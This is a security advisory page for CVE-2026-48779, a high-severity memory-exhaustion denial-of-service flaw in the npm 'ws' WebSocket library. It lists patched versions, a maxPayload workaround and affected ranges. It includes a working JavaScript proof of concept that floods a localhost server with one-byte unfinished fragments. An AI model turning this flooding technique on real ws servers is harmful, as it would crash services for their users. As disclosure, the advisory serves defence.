GHSA-96hv-2xvq-fx4p

Suggest an improvement
Source
https://github.com/advisories/GHSA-96hv-2xvq-fx4p
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-96hv-2xvq-fx4p/GHSA-96hv-2xvq-fx4p.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-96hv-2xvq-fx4p
Aliases
  • CVE-2026-48779
Downstream
Related
Published
2026-06-15T16:34:23Z
Modified
2026-06-16T16:44:28.450917852Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
ws: Memory exhaustion DoS from tiny fragments and data chunks
Details

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Patches

The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

Database specific
{
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T16:34:23Z",
    "nvd_published_at": null,
    "severity": "HIGH",
    "cwe_ids": [
        "CWE-400",
        "CWE-770"
    ]
}
References

Affected packages

npm / ws

Package

Affected ranges

Type
SEMVER
Events
Introduced
1.1.0
Fixed
5.2.5

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-96hv-2xvq-fx4p/GHSA-96hv-2xvq-fx4p.json"

npm / ws

Package

Affected ranges

Type
SEMVER
Events
Introduced
6.0.0
Fixed
6.2.4

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-96hv-2xvq-fx4p/GHSA-96hv-2xvq-fx4p.json"

npm / ws

Package

Affected ranges

Type
SEMVER
Events
Introduced
7.0.0
Fixed
7.5.11

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-96hv-2xvq-fx4p/GHSA-96hv-2xvq-fx4p.json"

npm / ws

Package

Affected ranges

Type
SEMVER
Events
Introduced
8.0.0
Fixed
8.21.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-96hv-2xvq-fx4p/GHSA-96hv-2xvq-fx4p.json"